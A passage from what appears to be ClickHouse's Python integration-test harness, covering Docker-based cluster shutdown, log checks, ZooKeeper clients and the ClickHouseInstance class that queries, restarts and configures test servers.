self.instances.values(): instance.docker_client = self.docker_client instance.ip_address = self.get_instance_ip(instance.name) logging.debug(f"Waiting for ClickHouse start in {instance.name}, ip: {instance.ip_address}...") instance.wait_for_start(start_timeout) logging.debug(f"ClickHouse {instance.name} started") instance.client = Client(instance.ip_address, command=self.client_bin_path) self.is_up = True except BaseException as e: logging.debug("Failed to start cluster: ") logging.debug(str(e)) logging.debug(traceback.print_exc()) self.shutdown() raise def shutdown(self, kill=True, ignore_fatal=True): sanitizer_assert_instance = None fatal_log = None if self.up_called: with open(self.docker_logs_path, "w+") as f: try: subprocess.check_call(self.base_cmd + ['logs'], stdout=f) # STYLE_CHECK_ALLOW_SUBPROCESS_CHECK_CALL except Exception as e: logging.debug("Unable to get logs from docker.") f.seek(0) for line in f: if SANITIZER_SIGN in line: sanitizer_assert_instance = line.split('|')[0].strip() break if kill: try: run_and_check(self.base_cmd + ['stop', '--timeout', '20']) except Exception as e: logging.debug("Kill command failed during shutdown. {}".format(repr(e))) logging.debug("Trying to kill forcefully") run_and_check(self.base_cmd + ['kill']) # Check server logs for Fatal messages and sanitizer failures. # NOTE: we cannot do this via docker since in case of Fatal message container may already die. for name, instance in self.instances.items(): if instance.contains_in_log(SANITIZER_SIGN, from_host=True): sanitizer_assert_instance = instance.grep_in_log(SANITIZER_SIGN, from_host=True, filename='stderr.log') logging.error("Sanitizer in instance %s log %s", name, sanitizer_assert_instance) if not ignore_fatal and instance.contains_in_log("Fatal", from_host=True): fatal_log = instance.grep_in_log("Fatal", from_host=True) if 'Child process was terminated by signal 9 (KILL)' in fatal_log: fatal_log = None continue logging.error("Crash in instance %s fatal log %s", name, fatal_log) try: subprocess_check_call(self.base_cmd + ['down', '--volumes']) except Exception as e: logging.debug("Down + remove orphans failed during shutdown. {}".format(repr(e))) else: logging.warning("docker-compose up was not called. Trying to export docker.log for running containers") self.cleanup() self.is_up = False self.docker_client = None for instance in list(self.instances.values()): instance.docker_client = None instance.ip_address = None instance.client = None if sanitizer_assert_instance is not None: raise Exception( "Sanitizer assert found in {} for instance {}".format(self.docker_logs_path, sanitizer_assert_instance)) if fatal_log is not None: raise Exception("Fatal messages found: {}".format(fatal_log)) def pause_container(self, instance_name): subprocess_check_call(self.base_cmd + ['pause', instance_name]) # subprocess_check_call(self.base_cmd + ['kill', '-s SIGSTOP', instance_name]) def unpause_container(self, instance_name): subprocess_check_call(self.base_cmd + ['unpause', instance_name]) # subprocess_check_call(self.base_cmd + ['kill', '-s SIGCONT', instance_name]) def open_bash_shell(self, instance_name): os.system(' '.join(self.base_cmd + ['exec', instance_name, '/bin/bash'])) def get_kazoo_client(self, zoo_instance_name): use_ssl = False if self.with_zookeeper_secure: port = self.zookeeper_secure_port use_ssl = True elif self.with_zookeeper: port = self.zookeeper_port else: raise Exception("Cluster has no ZooKeeper") ip = self.get_instance_ip(zoo_instance_name) logging.debug(f"get_kazoo_client: {zoo_instance_name}, ip:{ip}, port:{port}, use_ssl:{use_ssl}") zk = KazooClient(hosts=f"{ip}:{port}", use_ssl=use_ssl, verify_certs=False, certfile=self.zookeeper_certfile, keyfile=self.zookeeper_keyfile) zk.start() return zk def run_kazoo_commands_with_retries(self, kazoo_callback, zoo_instance_name='zoo1', repeats=1, sleep_for=1): zk = self.get_kazoo_client(zoo_instance_name) logging.debug(f"run_kazoo_commands_with_retries: {zoo_instance_name}, {kazoo_callback}") for i in range(repeats - 1): try: kazoo_callback(zk) return except KazooException as e: logging.debug(repr(e)) time.sleep(sleep_for) kazoo_callback(zk) zk.stop() def add_zookeeper_startup_command(self, command): self.pre_zookeeper_commands.append(command) def stop_zookeeper_nodes(self, zk_nodes): for n in zk_nodes: logging.info("Stopping zookeeper node: %s", n) subprocess_check_call(self.base_zookeeper_cmd + ["stop", n]) def start_zookeeper_nodes(self, zk_nodes): for n in zk_nodes: logging.info("Starting zookeeper node: %s", n) subprocess_check_call(self.base_zookeeper_cmd + ["start", n]) CLICKHOUSE_START_COMMAND = "clickhouse server --config-file=/etc/clickhouse-server/{main_config_file}" \ " --log-file=/var/log/clickhouse-server/clickhouse-server.log " \ " --errorlog-file=/var/log/clickhouse-server/clickhouse-server.err.log" CLICKHOUSE_STAY_ALIVE_COMMAND = 'bash -c "trap \'pkill tail\' INT TERM; {} --daemon; coproc tail -f /dev/null; wait $$!"'.format(CLICKHOUSE_START_COMMAND) # /run/xtables.lock passed inside for correct iptables --wait DOCKER_COMPOSE_TEMPLATE = ''' version: '2.3' services: {name}: image: {image}:{tag} hostname: {hostname} volumes: - {instance_config_dir}:/etc/clickhouse-server/ - {db_dir}:/var/lib/clickhouse/ - {logs_dir}:/var/log/clickhouse-server/ - /etc/passwd:/etc/passwd:ro - /run/xtables.lock:/run/xtables.lock:ro {binary_volume} {odbc_bridge_volume} {library_bridge_volume} {external_dirs_volumes} {odbc_ini_path} {keytab_path} {krb5_conf} entrypoint: {entrypoint_cmd} tmpfs: {tmpfs} cap_add: - SYS_PTRACE - NET_ADMIN - IPC_LOCK - SYS_NICE depends_on: {depends_on} user: '{user}' env_file: - {env_file} security_opt: - label:disable dns_opt: - attempts:2 - timeout:1 - inet6 - rotate {networks} {app_net} {ipv4_address} {ipv6_address} {net_aliases} {net_alias1} ''' class ClickHouseInstance: def __init__( self, cluster, base_path, name, base_config_dir, custom_main_configs, custom_user_configs, custom_dictionaries, macros, with_zookeeper, zookeeper_config_path, with_mysql_client, with_mysql, with_mysql8, with_mysql_cluster, with_kafka, with_kerberized_kafka, with_rabbitmq, with_nginx, with_kerberized_hdfs, with_mongo, with_redis, with_minio, with_azurite, with_jdbc_bridge, with_cassandra, server_bin_path, odbc_bridge_bin_path, library_bridge_bin_path, clickhouse_path_dir, with_odbc_drivers, with_postgres, with_postgres_cluster, clickhouse_start_command=CLICKHOUSE_START_COMMAND, main_config_name="config.xml", users_config_name="users.xml", copy_common_configs=True, hostname=None, env_variables=None, image="clickhouse/integration-test", tag="latest", stay_alive=False, ipv4_address=None, ipv6_address=None, with_installed_binary=False, external_dirs=None, tmpfs=None, config_root_name="clickhouse"): self.name = name self.base_cmd = cluster.base_cmd self.docker_id = cluster.get_instance_docker_id(self.name) self.cluster = cluster self.hostname = hostname if hostname is not None else self.name self.external_dirs = external_dirs self.tmpfs = tmpfs or [] self.base_config_dir = p.abspath(p.join(base_path, base_config_dir)) if base_config_dir else None self.custom_main_config_paths = [p.abspath(p.join(base_path, c)) for c in custom_main_configs] self.custom_user_config_paths = [p.abspath(p.join(base_path, c)) for c in custom_user_configs] self.custom_dictionaries_paths = [p.abspath(p.join(base_path, c)) for c in custom_dictionaries] self.clickhouse_path_dir = p.abspath(p.join(base_path, clickhouse_path_dir)) if clickhouse_path_dir else None self.kerberos_secrets_dir = p.abspath(p.join(base_path, 'secrets')) self.macros = macros if macros is not None else {} self.with_zookeeper = with_zookeeper self.zookeeper_config_path = zookeeper_config_path self.server_bin_path = server_bin_path self.odbc_bridge_bin_path = odbc_bridge_bin_path self.library_bridge_bin_path = library_bridge_bin_path self.with_mysql_client = with_mysql_client self.with_mysql = with_mysql self.with_mysql8 = with_mysql8 self.with_mysql_cluster = with_mysql_cluster self.with_postgres = with_postgres self.with_postgres_cluster = with_postgres_cluster self.with_kafka = with_kafka self.with_kerberized_kafka = with_kerberized_kafka self.with_rabbitmq = with_rabbitmq self.with_nginx = with_nginx self.with_kerberized_hdfs = with_kerberized_hdfs self.with_mongo = with_mongo self.with_redis = with_redis self.with_minio = with_minio self.with_azurite = with_azurite self.with_cassandra = with_cassandra self.with_jdbc_bridge = with_jdbc_bridge self.main_config_name = main_config_name self.users_config_name = users_config_name self.copy_common_configs = copy_common_configs self.clickhouse_start_command = clickhouse_start_command.replace("{main_config_file}", self.main_config_name) self.path = p.join(self.cluster.instances_dir, name) self.docker_compose_path = p.join(self.path, 'docker-compose.yml') self.env_variables = env_variables or {} self.env_file = self.cluster.env_file if with_odbc_drivers: self.odbc_ini_path = self.path + "/odbc.ini:/etc/odbc.ini" self.with_mysql = True else: self.odbc_ini_path = "" if with_kerberized_kafka or with_kerberized_hdfs: self.keytab_path = '- ' + os.path.dirname(self.docker_compose_path) + "/secrets:/tmp/keytab" self.krb5_conf = '- ' + os.path.dirname(self.docker_compose_path) + "/secrets/krb.conf:/etc/krb5.conf:ro" else: self.keytab_path = "" self.krb5_conf = "" self.docker_client = None self.ip_address = None self.client = None self.image = image self.tag = tag self.stay_alive = stay_alive self.ipv4_address = ipv4_address self.ipv6_address = ipv6_address self.with_installed_binary = with_installed_binary self.is_up = False self.config_root_name = config_root_name def is_built_with_sanitizer(self, sanitizer_name=''): build_opts = self.query("SELECT value FROM system.build_options WHERE name = 'CXX_FLAGS'") return "-fsanitize={}".format(sanitizer_name) in build_opts def is_debug_build(self): build_opts = self.query("SELECT value FROM system.build_options WHERE name = 'CXX_FLAGS'") return 'NDEBUG' not in build_opts def is_built_with_thread_sanitizer(self): return self.is_built_with_sanitizer('thread') def is_built_with_address_sanitizer(self): return self.is_built_with_sanitizer('address') def is_built_with_memory_sanitizer(self): return self.is_built_with_sanitizer('memory') # Connects to the instance via clickhouse-client, sends a query (1st argument) and returns the answer def query(self, sql, stdin=None, timeout=None, settings=None, user=None, password=None, database=None, ignore_error=False, query_id=None): logging.debug("Executing query %s on %s", sql, self.name) return self.client.query(sql, stdin=stdin, timeout=timeout, settings=settings, user=user, password=password, database=database, ignore_error=ignore_error, query_id=query_id) def query_with_retry(self, sql, stdin=None, timeout=None, settings=None, user=None, password=None, database=None, ignore_error=False, retry_count=20, sleep_time=0.5, check_callback=lambda x: True): logging.debug(f"Executing query {sql} on {self.name}") result = None for i in range(retry_count): try: result = self.query(sql, stdin=stdin, timeout=timeout, settings=settings, user=user, password=password, database=database, ignore_error=ignore_error) if check_callback(result): return result time.sleep(sleep_time) except Exception as ex: logging.debug("Retry {} got exception {}".format(i + 1, ex)) time.sleep(sleep_time) if result is not None: return result raise Exception("Can't execute query {}".format(sql)) # As query() but doesn't wait response and returns response handler def get_query_request(self, sql, *args, **kwargs): logging.debug(f"Executing query {sql} on {self.name}") return self.client.get_query_request(sql, *args, **kwargs) # Connects to the instance via clickhouse-client, sends a query (1st argument), expects an error and return its code def query_and_get_error(self, sql, stdin=None, timeout=None, settings=None, user=None, password=None, database=None): logging.debug(f"Executing query {sql} on {self.name}") return self.client.query_and_get_error(sql, stdin=stdin, timeout=timeout, settings=settings, user=user, password=password, database=database) # The same as query_and_get_error but ignores successful query. def query_and_get_answer_with_error(self, sql, stdin=None, timeout=None, settings=None, user=None, password=None, database=None): logging.debug(f"Executing query {sql} on {self.name}") return self.client.query_and_get_answer_with_error(sql, stdin=stdin, timeout=timeout, settings=settings, user=user, password=password, database=database) # Connects to the instance via HTTP interface, sends a query and returns the answer def http_query(self, sql, data=None, params=None, user=None, password=None, expect_fail_and_get_error=False, port=8123, timeout=None, retry_strategy=None): logging.debug(f"Executing query {sql} on {self.name} via HTTP interface") if params is None: params = {} else: params = params.copy() params["query"] = sql auth = None if user and password: auth = requests.auth.HTTPBasicAuth(user, password) elif user: auth = requests.auth.HTTPBasicAuth(user, '') url = f"http://{self.ip_address}:{port}/?" + urllib.parse.urlencode(params) if retry_strategy is None: requester = requests else: adapter = requests.adapters.HTTPAdapter(max_retries=retry_strategy) requester = requests.Session() requester.mount("https://", adapter) requester.mount("http://", adapter) if data: r = requester.post(url, data, auth=auth, timeout=timeout) else: r = requester.get(url, auth=auth, timeout=timeout) def http_code_and_message(): code = r.status_code return str(code) + " " + http.client.responses[code] + ": " + r.text if expect_fail_and_get_error: if r.ok: raise Exception("ClickHouse HTTP server is expected to fail, but succeeded: " + r.text) return http_code_and_message() else: if not r.ok: raise Exception("ClickHouse HTTP server returned " + http_code_and_message()) return r.text # Connects to the instance via HTTP interface, sends a query and returns the answer def http_request(self, url, method='GET', params=None, data=None, headers=None): logging.debug(f"Sending HTTP request {url} to {self.name}") url = "http://" + self.ip_address + ":8123/" + url return requests.request(method=method, url=url, params=params, data=data, headers=headers) # Connects to the instance via HTTP interface, sends a query, expects an error and return the error message def http_query_and_get_error(self, sql, data=None, params=None, user=None, password=None): logging.debug(f"Executing query {sql} on {self.name} via HTTP interface") return self.http_query(sql=sql, data=data, params=params, user=user, password=password, expect_fail_and_get_error=True) def stop_clickhouse(self, stop_wait_sec=30, kill=False): if not self.stay_alive: raise Exception("clickhouse can be stopped only with stay_alive=True instance") try: ps_clickhouse = self.exec_in_container(["bash", "-c", "ps -C clickhouse"], nothrow=True, user='root') if ps_clickhouse == " PID TTY STAT TIME COMMAND" : logging.warning("ClickHouse process already stopped") return self.exec_in_container(["bash", "-c", "pkill {} clickhouse".format("-9" if kill else "")], user='root') start_time = time.time() stopped = False while time.time() <= start_time + stop_wait_sec: pid = self.get_process_pid("clickhouse") if pid is None: stopped = True break else: time.sleep(1) if not stopped: pid = self.get_process_pid("clickhouse") if pid is not None: logging.warning(f"Force kill clickhouse in stop_clickhouse. ps:{pid}") self.exec_in_container(["bash", "-c", f"gdb -batch -ex 'thread apply all bt full' -p {pid} > {os.path.join(self.path, 'logs/stdout.log')}"], user='root') self.stop_clickhouse(kill=True) else: ps_all = self.exec_in_container(["bash", "-c", "ps aux"], nothrow=True, user='root') logging.warning(f"We want force stop clickhouse, but no clickhouse-server is running\n{ps_all}") return except Exception as e: logging.warning(f"Stop ClickHouse raised an error {e}") def start_clickhouse(self, start_wait_sec=60): if not self.stay_alive: raise Exception("ClickHouse can be started again only with stay_alive=True instance") start_time = time.time() time_to_sleep = 0.5 while start_time + start_wait_sec >= time.time(): # sometimes after SIGKILL (hard reset) server may refuse to start for some time # for different reasons. pid = self.get_process_pid("clickhouse") if pid is None: logging.debug("No clickhouse process running. Start new one.") self.exec_in_container(["bash", "-c", "{} --daemon".format(self.clickhouse_start_command)], user=str(os.getuid())) time.sleep(1) continue else: logging.debug("Clickhouse process running.") try: self.wait_start(start_wait_sec + start_time - time.time()) return except Exception as e: logging.warning(f"Current start attempt failed. Will kill {pid} just in case.") self.exec_in_container(["bash", "-c", f"kill -9 {pid}"], user='root', nothrow=True) time.sleep(time_to_sleep) raise Exception("Cannot start ClickHouse, see additional info in logs") def wait_start(self, start_wait_sec): start_time = time.time() last_err = None while True: try: pid = self.get_process_pid("clickhouse") if pid is None: raise Exception("ClickHouse server is not running. Check logs.") exec_query_with_retry(self, 'select 20', retry_count = 10, silent=True) return except QueryRuntimeException as err: last_err = err pid = self.get_process_pid("clickhouse") if pid is not None: logging.warning(f"ERROR {err}") else: raise Exception("ClickHouse server is not running. Check logs.") if time.time() > start_time + start_wait_sec: break logging.error(f"No time left to start. But process is still running. Will dump threads.") ps_clickhouse = self.exec_in_container(["bash", "-c", "ps -C clickhouse"], nothrow=True, user='root') logging.info(f"PS RESULT:\n{ps_clickhouse}") pid = self.get_process_pid("clickhouse") if pid is not None: self.exec_in_container(["bash", "-c", f"gdb -batch -ex 'thread apply all bt full' -p {pid}"], user='root') if last_err is not None: raise last_err def restart_clickhouse(self, stop_start_wait_sec=60, kill=False): self.stop_clickhouse(stop_start_wait_sec, kill) self.start_clickhouse(stop_start_wait_sec) def exec_in_container(self, cmd, detach=False, nothrow=False, **kwargs): return self.cluster.exec_in_container(self.docker_id, cmd, detach, nothrow, **kwargs) def rotate_logs(self): self.exec_in_container(["bash", "-c", f"kill -HUP {self.get_process_pid('clickhouse server')}"], user='root') def contains_in_log(self, substring, from_host=False, filename='clickhouse-server.log'): if from_host: # We check fist file exists but want to look for all rotated logs as well result = subprocess_check_call(["bash", "-c", f'[ -f {self.logs_dir}/{filename} ] && zgrep -aH "{substring}" {self.logs_dir}/{filename}* || true' ]) else: result = self.exec_in_container(["bash", "-c", f'[ -f /var/log/clickhouse-server/{filename} ] && zgrep -aH "{substring}" /var/log/clickhouse-server/{filename} || true' ]) return len(result) > 0 def grep_in_log(self, substring, from_host=False, filename='clickhouse-server.log'): logging.debug(f"grep in log called %s", substring) if from_host: # We check fist file exists but want to look for all rotated logs as well result = subprocess_check_call(["bash", "-c", f'[ -f {self.logs_dir}/{filename} ] && zgrep -a "{substring}" {self.logs_dir}/{filename}* || true' ]) else: result = self.exec_in_container(["bash", "-c", f'[ -f /var/log/clickhouse-server/{filename} ] && zgrep -a "{substring}" /var/log/clickhouse-server/{filename}* || true' ]) logging.debug("grep result %s", result) return result def count_in_log(self, substring): result = self.exec_in_container( ["bash", "-c", 'grep -a "{}" /var/log/clickhouse-server/clickhouse-server.log | wc -l'.format(substring)]) return result def wait_for_log_line(self, regexp, filename='/var/log/clickhouse-server/clickhouse-server.log', timeout=30, repetitions=1, look_behind_lines=100): start_time = time.time() result = self.exec_in_container( ["bash", "-c", 'timeout {} tail -Fn{} "{}" | grep -Em {} {}'.format(timeout, look_behind_lines, filename, repetitions, shlex.quote(regexp))]) # if repetitions>1 grep will return success even if not enough lines were collected, if repetitions>1 and len(result.splitlines()) < repetitions: logging.debug("wait_for_log_line: those lines were found during {} seconds:".format(timeout)) logging.debug(result) raise Exception("wait_for_log_line: Not enough repetitions: {} found, while {} expected".format(len(result.splitlines()), repetitions)) wait_duration = time.time() - start_time logging.debug('{} log line(s) matching "{}" appeared in a {:.3f} seconds'.format(repetitions, regexp, wait_duration)) return wait_duration def file_exists(self, path): return self.exec_in_container( ["bash", "-c", "echo $(if [ -e '{}' ]; then echo 'yes'; else echo 'no'; fi)".format(path)]) == 'yes\n' def copy_file_to_container(self, local_path, dest_path): return self.cluster.copy_file_to_container(self.docker_id, local_path, dest_path) def get_process_pid(self, process_name): output = self.exec_in_container(["bash", "-c", "ps ax | grep '{}' | grep -v 'grep' | grep -v 'coproc' | grep -v 'bash -c' | awk '{{print $1}}'".format( process_name)]) if output: try: pid = int(output.split('\n')[0].strip()) return pid except: return None return None def restart_with_original_version(self, stop_start_wait_sec=300, callback_onstop=None, signal=15): begin_time = time.time() if not self.stay_alive: raise Exception("Cannot restart not stay alive container") self.exec_in_container(["bash", "-c", "pkill -{} clickhouse".format(signal)], user='root') retries = int(stop_start_wait_sec / 0.5) local_counter = 0 # wait stop while local_counter < retries: if not self.get_process_pid("clickhouse server"): break time.sleep(0.5) local_counter += 1 # force kill if server hangs if self.get_process_pid("clickhouse server"): # server can die before kill, so don't throw exception, it's expected self.exec_in_container(["bash", "-c", "pkill -{} clickhouse".format(9)], nothrow=True, user='root') if callback_onstop: callback_onstop(self) self.exec_in_container(["bash", "-c", "echo 'restart_with_original_version: From version' && /usr/bin/clickhouse server --version && echo 'To version' && /usr/share/clickhouse_original server --version"]) self.exec_in_container( ["bash", "-c", "cp /usr/share/clickhouse_original /usr/bin/clickhouse && chmod 777 /usr/bin/clickhouse"], user='root') self.exec_in_container(["bash", "-c", "cp /usr/share/clickhouse-odbc-bridge_fresh /usr/bin/clickhouse-odbc-bridge && chmod 777 /usr/bin/clickhouse"], user='root') self.exec_in_container(["bash", "-c", "{} --daemon".format(self.clickhouse_start_command)], user=str(os.getuid())) # wait start time_left = begin_time + stop_start_wait_sec - time.time() if time_left <= 0: raise Exception(f"No time left during restart") else: self.wait_start(time_left) def restart_with_latest_version(self, stop_start_wait_sec=300, callback_onstop=None, signal=15): begin_time = time.time() if not self.stay_alive: raise Exception("Cannot restart not stay alive container") self.exec_in_container(["bash", "-c", "pkill -{} clickhouse".format(signal)], user='root') retries = int(stop_start_wait_sec / 0.5) local_counter = 0 # wait stop while local_counter < retries: if not self.get_process_pid("clickhouse server"): break time.sleep(0.5) local_counter += 1 # force kill if server hangs if self.get_process_pid("clickhouse server"): # server can die before kill, so don't throw exception, it's expected self.exec_in_container(["bash", "-c", "pkill -{} clickhouse".format(9)], nothrow=True, user='root') if callback_onstop: callback_onstop(self) self.exec_in_container( ["bash", "-c", "cp /usr/bin/clickhouse /usr/share/clickhouse_original"], user='root') self.exec_in_container( ["bash", "-c", "cp /usr/share/clickhouse_fresh /usr/bin/clickhouse && chmod 777 /usr/bin/clickhouse"], user='root') self.exec_in_container(["bash", "-c", "echo 'restart_with_latest_version: From version' && /usr/share/clickhouse_original server --version && echo 'To version' /usr/share/clickhouse_fresh server --version"]) self.exec_in_container(["bash", "-c", "cp /usr/share/clickhouse-odbc-bridge_fresh /usr/bin/clickhouse-odbc-bridge && chmod 777 /usr/bin/clickhouse"], user='root') self.exec_in_container(["bash", "-c", "{} --daemon".format(self.clickhouse_start_command)], user=str(os.getuid())) # wait start time_left = begin_time + stop_start_wait_sec - time.time() if time_left <= 0: raise Exception(f"No time left during restart") else: self.wait_start(time_left) def get_docker_handle(self): return self.cluster.get_docker_handle(self.docker_id) def stop(self): self.get_docker_handle().stop() def start(self): self.get_docker_handle().start() def wait_for_start(self, start_timeout=None, connection_timeout=None): handle = self.get_docker_handle() if start_timeout is None or start_timeout <= 0: raise Exception("Invalid timeout: {}".format(start_timeout)) if connection_timeout is not None and connection_timeout < start_timeout: raise Exception("Connection timeout {} should be grater then start timeout {}" .format(connection_timeout, start_timeout)) start_time = time.time() prev_rows_in_log = 0 def has_new_rows_in_log(): nonlocal prev_rows_in_log try: rows_in_log = int(self.count_in_log(".*").strip()) res = rows_in_log > prev_rows_in_log prev_rows_in_log = rows_in_log return res except ValueError: return False while True: handle.reload() status = handle.status if status == 'exited': raise Exception(f"Instance `{self.name}' failed to start. Container status: {status}, logs: {handle.logs().decode('utf-8')}") deadline = start_time + start_timeout # It is possible that server starts slowly. # If container is running, and there is some progress in log, check connection_timeout. if connection_timeout and status == 'running' and has_new_rows_in_log(): deadline = start_time + connection_timeout current_time = time.time() if current_time >= deadline: raise Exception(f"Timed out while waiting for instance `{self.name}' with ip address {self.ip_address} to start. " \ f"Container status: {status}, logs: {handle.logs().decode('utf-8')}") socket_timeout = min(start_timeout, deadline - current_time) # Repeatedly poll the instance address until there is something that listens there. # Usually it means that ClickHouse is ready to accept queries. try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(socket_timeout) sock.connect((self.ip_address, 9000)) self.is_up = True return except socket.timeout: continue except socket.error as e: if e.errno == errno.ECONNREFUSED or e.errno == errno.EHOSTUNREACH or e.errno == errno.ENETUNREACH: time.sleep(0.1) else: raise finally: sock.close() def dict_to_xml(self, dictionary): xml_str = dict2xml(dictionary, wrap=self.config_root_name, indent=" ", newlines=True) return xml_str @property def odbc_drivers(self): if self.odbc_ini_path: return { "SQLite3": { "DSN": "sqlite3_odbc", "Database": "/tmp/sqliteodbc", "Driver": "/usr/lib/x86_64-linux-gnu/odbc/libsqlite3odbc.so", "Setup": "/usr/lib/x86_64-linux-gnu/odbc/libsqlite3odbc.so", }, "MySQL": { "DSN": "mysql_odbc", "Driver": "/usr/lib/x86_64-linux-gnu/odbc/libmyodbc.so", "Database": "clickhouse", "Uid": "root", "Pwd": "clickhouse", "Server": self.cluster.mysql_host, }, "PostgreSQL": { "DSN": "postgresql_odbc", "Database": "postgres", "UserName": "postgres", "Password": "mysecretpassword", "Port": str(self.cluster.postgres_port), "Servername": self.cluster.postgres_host, "Protocol": "9.3", "ReadOnly": "No", "RowVersioning": "No", "ShowSystemTables": "No", "Driver": "/usr/lib/x86_64-linux-gnu/odbc/psqlodbca.so", "Setup": "/usr/lib/x86_64-linux-gnu/odbc/libodbcpsqlS.so", "ConnSettings": "", } } else: return {} def _create_odbc_config_file(self): with open(self.odbc_ini_path.split(':')[0], 'w') as f: for driver_setup in list(self.odbc_drivers.values()): f.write("[{}]\n".format(driver_setup["DSN"])) for key, value in list(driver_setup.items()): if key != "DSN": f.write(key + "=" + value + "\n") def replace_config(self, path_to_config, replacement): self.exec_in_container(["bash", "-c", "echo '{}' > {}".format(replacement, path_to_config)]) def replace_in_config(self, path_to_config, replace, replacement): self.exec_in_container(["bash", "-c", f"sed -i 's/{replace}/{replacement}/g' {path_to_config}"]) def create_dir(self, destroy_dir=True): """Create the instance directory and all the needed files there.""" if destroy_dir: self.destroy_dir() elif p.exists(self.path): return os.makedirs(self.path) instance_config_dir = p.abspath(p.join(self.path, 'configs')) os.makedirs(instance_config_dir) print(f"Copy common default production configuration from {self.base_config_dir}. Files: {self.main_config_name}, {self.users_config_name}") shutil.copyfile(p.join(self.base_config_dir, self.main_config_name), p.join(instance_config_dir, self.main_config_name)) shutil.copyfile(p.join(self.base_config_dir, self.users_config_name), p.join(instance_config_dir, self.users_config_name)) logging.debug("Create directory for configuration generated in this helper") # used by all utils with any config conf_d_dir = p.abspath(p.join(instance_config_dir, 'conf.d')) os.mkdir(conf_d_dir) logging.debug("Create directory for common tests configuration") # used by server with main config.xml self.config_d_dir = p.abspath(p.join(instance_config_dir, 'config.d')) os.mkdir(self.config_d_dir) users_d_dir = p.abspath(p.join(instance_config_dir, 'users.d')) os.mkdir(users_d_dir) dictionaries_dir = p.abspath(p.join(instance_config_dir, 'dictionaries')) os.mkdir(dictionaries_dir) def write_embedded_config(name, dest_dir, fix_log_level=False): with open(p.join(HELPERS_DIR, name), 'r') as f: data = f.read() data = data.replace('clickhouse', self.config_root_name) if fix_log_level: data = data.replace('<level>test</level>', '<level>trace</level>') with open(p.join(dest_dir, name), 'w') as r: r.write(data) logging.debug("Copy common configuration from helpers") # The file is named with 0_ prefix to be processed before other configuration overloads. if self.copy_common_configs: need_fix_log_level = self.tag != 'latest' write_embedded_config('0_common_instance_config.xml', self.config_d_dir, need_fix_log_level) write_embedded_config('0_common_instance_users.xml', users_d_dir) if len(self.custom_dictionaries_paths): write_embedded_config('0_common_enable_dictionaries.xml', self.config_d_dir) logging.debug("Generate and write macros file") macros = self.macros.copy() macros['instance'] = self.name with open(p.join(conf_d_dir, 'macros.xml'), 'w') as macros_config: macros_config.write(self.dict_to_xml({"macros": macros})) # Put ZooKeeper config if self.with_zookeeper: shutil.copy(self.zookeeper_config_path, conf_d_dir) if self.with_kerberized_kafka or self.with_kerberized_hdfs: shutil.copytree(self.kerberos_secrets_dir, p.abspath(p.join(self.path, 'secrets'))) # Copy config.d configs logging.debug(f"Copy custom test config files {self.custom_main_config_paths} to {self.config_d_dir}") for path in self.custom_main_config_paths: shutil.copy(path, self.config_d_dir) # Copy users.d configs for path in self.custom_user_config_paths: shutil.copy(path, users_d_dir) # Copy dictionaries configs to configs/dictionaries for path in self.custom_dictionaries_paths: shutil.copy(path, dictionaries_dir) db_dir = p.abspath(p.join(self.path, 'database')) logging.debug(f"Setup database dir {db_dir}") if self.clickhouse_path_dir is not None: logging.debug(f"Database files taken from {self.clickhouse_path_dir}") shutil.copytree(self.clickhouse_path_dir, db_dir) logging.debug(f"Database copied from {self.clickhouse_path_dir} to {db_dir}") else: os.mkdir(db_dir) logs_dir = p.abspath(p.join(self.path, 'logs')) logging.debug(f"Setup logs dir {logs_dir}") os.mkdir(logs_dir) self.logs_dir = logs_dir depends_on = [] if self.with_mysql_client: depends_on.append(self.cluster.mysql_client_host) if self.with_mysql: depends_on.append("mysql57") if self.with_mysql8: depends_on.append("mysql80") if self.with_mysql_cluster: depends_on.append("mysql57") depends_on.append("mysql2") depends_on.append("mysql3") depends_on.append("mysql4") if self.with_postgres_cluster: depends_on.append("postgres2") depends_on.append("postgres3") depends_on.append("postgres4") if self.with_kafka: depends_on.append("kafka1") depends_on.append("schema-registry") if self.with_kerberized_kafka: depends_on.append("kerberized_kafka1") if self.with_kerberized_hdfs: depends_on.append("kerberizedhdfs1") if self.with_rabbitmq: depends_on.append("rabbitmq1") if self.with_zookeeper: depends_on.append("zoo1") depends_on.append("zoo2") depends_on.append("zoo3") if self.with_minio: depends_on.append("minio1") if self.with_azurite: depends_on.append("azurite1") self.cluster.env_variables.update(self.env_variables) odbc_ini_path = "" if self.odbc_ini_path: self._create_odbc_config_file() odbc_ini_path = '- ' + self.odbc_ini_path entrypoint_cmd = self.clickhouse_start_command if self.stay_alive: entrypoint_cmd = CLICKHOUSE_STAY_ALIVE_COMMAND.replace("{main_config_file}", self.main_config_name) else: entrypoint_cmd = '[' + ', '.join(map(lambda x: '"' + x + '"', entrypoint_cmd.split())) + ']' logging.debug("Entrypoint cmd: {}".format(entrypoint_cmd)) networks = app_net = ipv4_address = ipv6_address = net_aliases = net_alias1 = "" if self.ipv4_address is not None or self.ipv6_address is not None or self.hostname != self.name: networks = "networks:" app_net = "default:" if self.ipv4_address is not None: ipv4_address = "ipv4_address: " + self.ipv4_address if self.ipv6_address is not None: ipv6_address = "ipv6_address: " + self.ipv6_address if self.hostname != self.name: net_aliases = "aliases:" net_alias1 = "- " + self.hostname if not self.with_installed_binary: binary_volume = "- " + self.server_bin_path + ":/usr/bin/clickhouse" odbc_bridge_volume = "- " + self.odbc_bridge_bin_path + ":/usr/bin/clickhouse-odbc-bridge" library_bridge_volume = "- " + self.library_bridge_bin_path + ":/usr/bin/clickhouse-library-bridge" else: binary_volume = "- " + self.server_bin_path + ":/usr/share/clickhouse_fresh" odbc_bridge_volume = "- " + self.odbc_bridge_bin_path + ":/usr/share/clickhouse-odbc-bridge_fresh" library_bridge_volume = "- " + self.library_bridge_bin_path + ":/usr/share/clickhouse-library-bridge_fresh" external_dirs_volumes = "" if self.external_dirs: for external_dir in self.external_dirs: external_dir_abs_path = p.abspath(p.join(self.path, external_dir.lstrip('/'))) logging.info(f'external_dir_abs_path={external_dir_abs_path}') os.mkdir(external_dir_abs_path) external_dirs_volumes += "- " + external_dir_abs_path + ":" + external_dir + "\n" with open(self.docker_compose_path, 'w') as docker_compose: docker_compose.write(DOCKER_COMPOSE_TEMPLATE.format( image=self.image, tag=self.tag, name=self.name, hostname=self.hostname, binary_volume=binary_volume, odbc_bridge_volume=odbc_bridge_volume, library_bridge_volume=library_bridge_volume, instance_config_dir=instance_config_dir, config_d_dir=self.config_d_dir, db_dir=db_dir, external_dirs_volumes=external_dirs_volumes, 